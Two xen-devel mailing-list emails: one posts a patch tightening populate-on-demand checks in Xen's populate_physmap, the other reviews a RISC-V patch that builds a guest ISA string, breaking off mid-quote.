Received: from list by lists.xenproject.org with outflank-mailman.1358123.1612382 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1who6x-00031v-Cw; Thu, 09 Jul 2026 12:44:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358123.1612382; Thu, 09 Jul 2026 12:44:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1who6x-00031o-9n; Thu, 09 Jul 2026 12:44:15 +0000
Received: by outflank-mailman (input) for mailman id 1358123;
 Thu, 09 Jul 2026 12:44:14 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1who6v-00031i-S7
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:44:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1who6u-00DYL4-Qa
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 14:44:12 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f9798-5cb7-0a2a0a5109dd-0a2a4508a01c-12
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 14:44:12 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f979c-ee29-0a2a45080019-d1558033d86f-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 14:44:12 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-493b786d6c0so9740135e9.2
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 05:44:12 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6ea082sm61015545e9.11.2026.07.09.05.44.11
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 05:44:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783601052; x=1784205852; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=9bl3Xwf1E4x0kH8NmIkQ/ryo5KAtp2b6niNTcutMrmU=;
        b=GOVTtaAQVNKUcp4/oSsuDM7hAaV0usNKPij+1Q1Wnk2S2/D00ZDqBk8fAT9NeFZgWb
         TitV5Ju9KbzqaTytQDHyWCTxXyQedaMVaiD399dsf/rf+UoNU0WpJwDOvrcdsOoq/HLX
         gToeynmDtnjbZ/4BVoWVkW4UHicT3pxg+bu6cQjrgKLEhjzMcGhbjAh0OwYxA22Px1Pm
         pQ+yuy93nkj0CIMaRpeI9CS+Ci9bk6ZlxWYJZwreJicu0mlAK2JCiOsCCLUzQAZSKkGI
         Wa/u/uvZU6uUJmAnTTI6rc//XpU+ZGpq+lZwdsxOIsAGYP3xc9qP6JFnqGaT0JOBtXrx
         yU1A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783601052; x=1784205852;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=9bl3Xwf1E4x0kH8NmIkQ/ryo5KAtp2b6niNTcutMrmU=;
        b=MRfudKxldOfuTtubNE7p+01iLFOTLljwvP0ltO3p6x3YU8cQ08oEt0uKQDV27Bv9zI
         dwBSamAMQnbYGTUdGQ4eSWIxGZm1KoHZb0IFJI8rVD4b3RcOwRmYXOTHGENkkzeeSrzN
         23hWuXcHg3EQ2QP1Ru4G2AZZMXjq3e21TBjRgsmqPAGr3mm5VXqg0X9pVZ7560ux4zY6
         rm5kcOZ3odEEQf/8xdK3+r/y/7hE7v2+40rY2fWfVKZXn5RyFphkbtRo5v2+iU/Devi8
         plmNL4wztv1WMMCV0PEqgo32YPe66kRhg43ErURQOnQJkhetzkHpFJZK514FstWSVLTJ
         c8tw==
X-Gm-Message-State: AOJu0YwgUmXBJmwFAWSZeu2+mKg0qDWIoBLOaHTYa2m2UavYBYR1li5C
	p0NiSZqS5f2XAqZ8xSXfpjX9pxqDve2dAOXfEnsUhQtO4CFqxVtSOgSg2DibldUOXHUBTvI2Fxh
	jobXmAQ==
X-Gm-Gg: AfdE7cmqRR6zXK7OIEwwDmaI/lgNIx5/MOMJFFLC6296C5o7ABCNhcp+khPn6GZFb6y
	1MlpnZF/yPzev5NDZXtx0Ns3TqriFz/tq7Lrw+TPosH+fxDaJ7JJn/vzTQdyjw8iFOlMuDMFfQ5
	say3FgoWrLr0dNWJvN1PlHIhsZ1CZepDTxhaPqWm2wE8QB5Hk3/RulsjyiBQf13B317/YZ7rGGY
	APpQlicwD7cuOJazBakKJ5BhT18heMswt0E6sAM8Xklsjs8hEdHZymj5lkhA5HPaQo94+TWZeO6
	/ksJttV22PuOVHkG5Sbsde1Szo0nguoIBtvhrNiMLB57adorEp6bTJc6XjNc5z0s+xLrByNK/X8
	TvcclyHXSXV/SBp8j4w/06FTgbM+l7rBEPrLTFEHmrLiHuix7wiDg4TKxP1w6lokxEz/uLQ8pYK
	KQkPw+CbjnRp2Py6/vM8zhKzgA3ATCUhv2GiEPAwzwVFgNYBhEk939dg6Wza4cCZWAsx87KnlQP
	mif
X-Received: by 2002:a05:600c:c1c8:10b0:493:c310:4106 with SMTP id 5b1f17b1804b1-493e68a1a8amr53671695e9.35.1783601052108;
        Thu, 09 Jul 2026 05:44:12 -0700 (PDT)
Message-ID: <bcbf3975-55e5-406f-b60a-1c12e114704a@suse.com>
Date: Thu, 9 Jul 2026 14:44:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Teddy Astie <teddy.astie@vates.tech>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH] memory: adjust MEMF_populate_on_demand checking
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1783601052-7903401C-3FE76076/0/0
X-purgate-type: clean
X-purgate-size: 3209

Pull loop-invariant checks out of the loop. Furthermore reject such
requests for non-HVM domains, rather than treating them as no-op and
signalling success to the caller.

Sadly with this the compiler can't DCE the function call anymore, so
we need a stub now.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
I was tempted to invert the condition of the if() in the latter hunk, for
the remaining one in its present body to then become "else if()". The
larger resulting diff may be disliked, though ...

Handling of other sub-ops will continue to silently ignore
XENMEMF_populate_on_demand.

--- a/xen/arch/x86/include/asm/p2m.h
+++ b/xen/arch/x86/include/asm/p2m.h
@@ -626,12 +626,12 @@ int p2m_remove_page(struct domain *d, gf
 int __must_check guest_physmap_add_page(struct domain *d, gfn_t gfn, mfn_t mfn,
                                         unsigned int page_order);
 
-/* Set a p2m range as populate-on-demand */
-int guest_physmap_mark_populate_on_demand(struct domain *d, unsigned long gfn,
-                                          unsigned int order);
-
 #ifdef CONFIG_HVM
 
+/* Set a p2m range as populate-on-demand */
+int guest_physmap_mark_populate_on_demand(struct domain *d, unsigned long gfn,
+                                          unsigned int order);
+
 /* Enable hardware-assisted log-dirty. */
 void p2m_enable_hardware_log_dirty(struct domain *d);
 
@@ -645,6 +645,14 @@ void p2m_flush_hardware_cached_dirty(str
 
 static inline void p2m_flush_hardware_cached_dirty(struct domain *d) {}
 
+static inline int guest_physmap_mark_populate_on_demand(struct domain *d,
+                                                        unsigned long gfn,
+                                                        unsigned int order)
+{
+    ASSERT_UNREACHABLE();
+    return -EOPNOTSUPP;
+}
+
 #endif
 
 /* Change types across all p2m entries in a domain */
--- a/xen/common/memory.c
+++ b/xen/common/memory.c
@@ -239,8 +239,16 @@ static void populate_physmap(struct memo
                                      a->nr_extents-1) )
         return;
 
-    if ( a->extent_order > (a->memflags & MEMF_populate_on_demand ? MAX_ORDER :
-                            max_order(curr_d)) )
+    if ( a->memflags & MEMF_populate_on_demand )
+    {
+        if ( a->extent_order > MAX_ORDER )
+            return;
+
+        /* Disallow populating PoD pages on oneself, or on non-HVM. */
+        if ( d == curr_d || !is_hvm_domain(d) )
+            return;
+    }
+    else if ( a->extent_order > max_order(curr_d) )
         return;
 
     if ( unlikely(!d->creation_finished) )
@@ -279,12 +287,7 @@ static void populate_physmap(struct memo
 
         if ( a->memflags & MEMF_populate_on_demand )
         {
-            /* Disallow populating PoD pages on oneself. */
-            if ( d == curr_d )
-                goto out;
-
-            if ( is_hvm_domain(d) &&
-                 guest_physmap_mark_populate_on_demand(d, gpfn,
+            if ( guest_physmap_mark_populate_on_demand(d, gpfn,
                                                        a->extent_order) < 0 )
                 goto out;
         }


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 13:05:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 13:05:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358142.1612390 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whoRp-0005rl-UZ; Thu, 09 Jul 2026 13:05:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358142.1612390; Thu, 09 Jul 2026 13:05:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whoRp-0005re-Ry; Thu, 09 Jul 2026 13:05:49 +0000
Received: by outflank-mailman (input) for mailman id 1358142;
 Thu, 09 Jul 2026 13:05:48 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whoRo-0005rY-3k
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:05:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whoRn-00Dhke-9U
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 15:05:47 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f9c9e-5cb7-0a2a0a5109dd-0a2a4503aef0-40
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 15:05:47 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f9cab-f2d2-0a2a45030019-d155802aa8d3-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 15:05:47 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493b27c7451so11395925e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 06:05:47 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9e4d843csm50590827f8f.14.2026.07.09.06.05.45
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 06:05:46 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783602346; x=1784207146; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=p9MPYPtQTocXjTl/nnXwgjLZZH+6pvK38TAH1z5KMgQ=;
        b=X2LHMe21wGjvKjelo5cCFHS/7lzgAyMmLv0utTt1GWupxII+oSsCPWu21gv6Gpjc/r
         ZPAmMv+HaHQuGwiuuvhFQjnjfJPglX3VZ7vzaWhBUdLxvethUVE2S3VSDI6PNe66Wbn3
         p8Hze0yXB8R70jNjtTp6uI95ZUIHrKtKOpt6r91+SDPaW6y0LeceXt+XFTxDXb/IEQFj
         IFmlBTTmPIeGBXd/ofYtUnz/LWndK9U9ibYMxD6Pbhm4m+B7IcH4qQbJlwW4kpwXXt5O
         6AqC2oH3C3gEszLom9bYeTiExkVZLTYO+8Kzjf0qKzbpqC0EROoTKffs6dC2Uee5hpAb
         eN9Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783602346; x=1784207146;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=p9MPYPtQTocXjTl/nnXwgjLZZH+6pvK38TAH1z5KMgQ=;
        b=fkLCVe6EyJC6UULap23wNtuUiTalB+Bdv7DUk5AVvrlWP0JL0S1SWy9PX9WpGI1nuP
         M8a0fpuwlgQ3P0zb0Ru3efNQnXnygsAOOFwqwgEoZQqlmwwxk6t6RU6Rfb7vQMoZrWmF
         zZ4RQEjrqAnMkw5rr9HuhArXPMCy6CWj/m09EYsUMbmHaaYX4wjGSiXC465K+CHDA0gR
         Etsmgh5qtySVIG3hLoS9O8dMeMVTf/EJfZYVT1W/Pl1q8dAzB9yeuyvFnk1QQqPG0PU1
         RHMxP0dP1L+aRt1A5cBogaoqhTjRrNyeDHNnm8ZD4rPeQCh+0QFZgXufkHSp0COsR8tT
         Je1A==
X-Forwarded-Encrypted: i=1; AHgh+Rpix9DnUnw/O+Vio0p5M9sHRaV529R0h077uay8z8bfyGmhvxGz3h4axQRrORtmnS5cwVQ/QbCJmWs=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyL+1/CIQ+tIue22jelVDj2RFrbFGMPWLIB4QpWo6NFfQ8gZTrC
	tflDcQC07MFS5jU8oFd5ML8Tze5VYvcGDTZV3TVy2l0ZdZiSWmZUEMgj1vd3SGeMnA==
X-Gm-Gg: AfdE7cnwi/VYoPjs+cv2zuv1HOtkT0+qeJF10J+2VBtCHdSgWPl+oEDjJsZ8cORFRsX
	4DsAYUgdXCXouQckjzyW1pqHwsqu+U5apLpBGMv0EabVpDdgFd2K0lhJnqFGBsC/4isVWnB/GUx
	+0IUlU0EX03laTg1eB1LawVsblPWpgdxkFnsVIs4gvo71f/OWI5wxqeEuCUVgRcoqEHNjRCYOdd
	8Q0G75RqoonzsO1iyV13kktX+zC6byPZg7NSuTkNlBWyjytE85hAUhz+3U0qT9zJ6qvZOzLAaNs
	bXMbgWGuQYjiGiUC/DkDw+bVJo+b5mmegAZx6v6cSk1yw2elV64eHhptK+qu36ak/qHQO4mc0LI
	q585TOeVgYUpRtS9YwtHRIKkrSyTl11B7zRCGawbqqCj34I23NBfVRZkx+LZg9/j/nSN9ciO3KY
	sYripRXArWz+fxHOlvfLuStI8hTUzl6T33QKI+8lyb2YprNOOOQCauERLHph8ZZazwkwfFydKHy
	vYL6etYP+8z11w=
X-Received: by 2002:a05:600c:2d96:b0:48e:8eb0:4957 with SMTP id 5b1f17b1804b1-493ec55cfc5mr20594905e9.2.1783602346617;
        Thu, 09 Jul 2026 06:05:46 -0700 (PDT)
Message-ID: <2f26c623-e577-44bb-8163-f52b97496d05@suse.com>
Date: Thu, 9 Jul 2026 15:05:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 09/26] xen/riscv: introduce guest riscv,isa string
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <dc486923b5313c64cf383575d25c58c9af9e5eae.1783331040.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <dc486923b5313c64cf383575d25c58c9af9e5eae.1783331040.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1783602347-F3D53CF4-BAC1F4AB/0/0
X-purgate-type: clean
X-purgate-size: 4936

On 06.07.2026 17:57, Oleksii Kurochko wrote:
> --- a/xen/arch/riscv/cpufeature.c
> +++ b/xen/arch/riscv/cpufeature.c
> @@ -14,6 +14,7 @@
>  #include <xen/errno.h>
>  #include <xen/init.h>
>  #include <xen/lib.h>
> +#include <xen/sched.h>
>  #include <xen/sections.h>
>  
>  #include <asm/cpufeature.h>
> @@ -34,6 +35,19 @@ struct riscv_isa_ext_data {
>      .name = #ext_name,                          \
>  }
>  
> +struct riscv_isa_ext_entry {
> +    unsigned int id;
> +    const char *name;
> +    bool guest_supported;
> +};
> +
> +#define RISCV_ISA_EXT_ENTRY(ext_name, guest_supp)       \
> +{                                                       \
> +    .id              = RISCV_ISA_EXT_ ## ext_name,      \
> +    .name            = #ext_name,                       \
> +    .guest_supported = guest_supp,                      \
> +}
> +
>  /* Host ISA bitmap */
>  static __ro_after_init DECLARE_BITMAP(riscv_isa, RISCV_ISA_EXT_MAX);
>  
> @@ -120,29 +134,30 @@ static int __init dt_get_cpuid_from_node(const struct dt_device_node *cpu,
>   * and strncmp() is used in match_isa_ext() to compare extension names instead
>   * of strncasecmp().
>   */
> -const struct riscv_isa_ext_data __initconst riscv_isa_ext[] = {

I realize it has been this way before, but ...

> -    RISCV_ISA_EXT_DATA(i),
> -    RISCV_ISA_EXT_DATA(m),
> -    RISCV_ISA_EXT_DATA(a),
> -    RISCV_ISA_EXT_DATA(f),
> -    RISCV_ISA_EXT_DATA(d),
> -    RISCV_ISA_EXT_DATA(q),
> -    RISCV_ISA_EXT_DATA(c),
> -    RISCV_ISA_EXT_DATA(h),
> -    RISCV_ISA_EXT_DATA(zicntr),
> -    RISCV_ISA_EXT_DATA(zicsr),
> -    RISCV_ISA_EXT_DATA(zifencei),
> -    RISCV_ISA_EXT_DATA(zihintpause),
> -    RISCV_ISA_EXT_DATA(zihpm),
> -    RISCV_ISA_EXT_DATA(zba),
> -    RISCV_ISA_EXT_DATA(zbb),
> -    RISCV_ISA_EXT_DATA(zbs),
> -    RISCV_ISA_EXT_DATA(smaia),
> -    RISCV_ISA_EXT_DATA(smstateen),
> -    RISCV_ISA_EXT_DATA(ssaia),
> -    RISCV_ISA_EXT_DATA(sstc),
> -    RISCV_ISA_EXT_DATA(svade),
> -    RISCV_ISA_EXT_DATA(svpbmt),
> +const struct riscv_isa_ext_entry riscv_isa_ext[] = {

... is there a reason for this to be non-static? Its type (struct
riscv_isa_ext_entry) is local to this file, and I also can't spot any
declaration elsewhere.

> @@ -480,6 +495,74 @@ bool riscv_isa_extension_available(const unsigned long *isa_bitmap,
>      return test_bit(id, isa_bitmap);
>  }
>  
> +int build_guest_isa_str(char *buf, size_t size,
> +                        const unsigned long *isa_bitmap)
> +{
> +    char *p = buf;
> +    size_t left = size;
> +    int total;
> +
> +#if defined(CONFIG_RISCV_32)
> +    total = snprintf(p, left, "rv32");
> +#elif defined(CONFIG_RISCV_64)
> +    total = snprintf(p, left, "rv64");
> +#else
> +# error "Unsupported RISC-V bitness"
> +#endif

For the longer-term future of this, passing in const struct domain * may
help.

> +    if ( total < 0 )
> +        return total;
> +
> +    if ( buf )
> +    {
> +        if ( (size_t)total >= left )
> +            return -ENOSPC;
> +
> +        p += total;
> +        left -= total;
> +    }
> +
> +    for ( unsigned int i = 0; i < ARRAY_SIZE(riscv_isa_ext); i++ )
> +    {
> +        const struct riscv_isa_ext_entry *ext = &riscv_isa_ext[i];
> +        int ret;
> +
> +        if ( !riscv_isa_extension_available(isa_bitmap, ext->id) )
> +            continue;
> +
> +        ret = snprintf(p, left, "%s%s",
> +                       ext->id >= RISCV_ISA_EXT_BASE ? "_" : "",
> +                       ext->name);
> +        if ( ret < 0 )
> +            return ret;
> +
> +        total += ret;
> +
> +        if ( buf )
> +        {
> +            if ( (size_t)ret >= left )
> +                return -ENOSPC;
> +
> +            p += ret;
> +            left -= ret;
> +        }
> +    }
> +
> +    return total;
> +}
> +
> +void init_guest_isa(struct domain *d)
> +{
> +    for ( unsigned int i = 0; i < ARRAY_SIZE(riscv_isa_ext); i++ )
> +    {
